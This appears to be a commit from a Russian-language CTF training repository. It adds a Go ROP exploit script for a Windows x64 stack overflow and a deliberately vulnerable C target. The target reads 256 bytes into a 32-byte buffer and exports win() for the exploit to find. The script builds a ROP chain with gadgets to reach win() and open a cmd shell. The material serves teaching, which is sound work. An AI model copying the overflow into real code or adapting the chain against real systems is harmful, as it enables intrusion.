v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+103
View File
@@ -0,0 +1,103 @@
/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
package main
import (
"bytes"
"fmt"
"log"
"winpwn"
)
func main() {
target := "task2.exe"
peFile, err := winpwn.OpenPE(target)
if err != nil {
log.Fatalf("Failed to open PE: %v", err)
}
defer peFile.Close()
// 2. Получаем RVA функции win из таблицы экспортов
winRVA, err := peFile.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
imageBase, err := peFile.ImageBase()
if err != nil {
log.Fatalf("Failed to read ImageBase: %v", err)
}
// Вычисляем абсолютный адрес win()
winAddr := imageBase + winRVA
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
rop, err := winpwn.NewROP(target)
if err != nil {
log.Fatalf("ROP init error: %v", err)
}
defer rop.Close()
popRcxGadgets, err := rop.Search("pop rcx ; ret")
if err != nil {
log.Fatalf("pop rcx not found")
}
popRcx := popRcxGadgets[0].Address
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
fmt.Printf("[*] verified: %s\n", lines)
}
retGadgets, err := rop.Search("ret")
if err != nil {
log.Fatalf("ret not found")
}
ret := retGadgets[0].Address
// 5. Конструируем пейлоад
// Реальное расстояние до return-адреса зависит от компилятора и его
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
// в исходнике вслепую.
offset := 56
payload := bytes.Repeat([]byte("A"), offset)
// --- ROP Цепочка ---
// Закидываем 0xDEADBEEF в RCX
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
// Stack Alignment
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
payload = append(payload, winpwn.P64(ret)...)
// Прыжок в win()
payload = append(payload, winpwn.P64(winAddr)...)
// 6. Взаимодействие
tube, err := winpwn.Spawn("./" + target)
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
}
/*На что обратить внимание твоим участникам:
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
+61
View File
@@ -0,0 +1,61 @@
/* TL;DR: Главное отличие 64-битного ROP на Windows от Linux — это Calling
Convention (соглашение о вызовах). В Linux первый аргумент передается через
регистр RDI, а в Windows — через RCX. Поэтому вместо гаджета pop rdi мы будем
искать pop rcx. Кроме того, вызовы WinAPI жестко требуют выравнивания стека по
границе 16 байт, иначе программа упадет внутри system("cmd.exe").
Ниже представлены адаптированные исходники для твоего CTF-клуба. Чтобы твой
парсер PEFile в go_pwner смог найти функцию win по имени (без символов отладки),
я добавил ей атрибут экспорта __declspec(dllexport) — это классический прием для
Windows-тасков, заменяющий парсинг ELF Symbols. Уязвимый файл (rop0_win.c)
Компилировать этот файл нужно с отключенным ASLR (аналог PIE в Linux), чтобы
базовый адрес был статичным. Для MinGW-w64 используй флаги: gcc rop0_win.c -o
rop0_win.exe -fno-pie -no-pie -fno-stack-protector. */
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void setup() {
// Отключение буферизации для корректной работы через пайпы
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// Экспортируем функцию в таблицу PE, чтобы её можно было найти через твой
// PE-парсер
__declspec(dllexport) void win(int secret) {
char buf[32];
// В Windows x64 значение secret будет взято из регистра RCX
if (secret == 0xdeadbeef) {
printf("you just got shell\n");
system("cmd.exe"); // Меняем /bin/sh на классический cmd
} else {
printf("wrong argument: 0x%x\n", secret);
ExitProcess(1);
}
}
void vulnerable() {
char buf[32];
DWORD bytesRead;
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
printf("NX is ON! You cannot execute shellcode on the stack.\n");
printf("Can you return to win() and set RCX to 0xdeadbeef?\n");
printf("Input: ");
// Используем WinAPI для сырого побайтового чтения
ReadFile(hStdin, buf, 256, &bytesRead, NULL);
printf("Returning...\n");
}
int main() {
setup();
vulnerable();
return 0;
}
Binary file not shown.
Binary file not shown.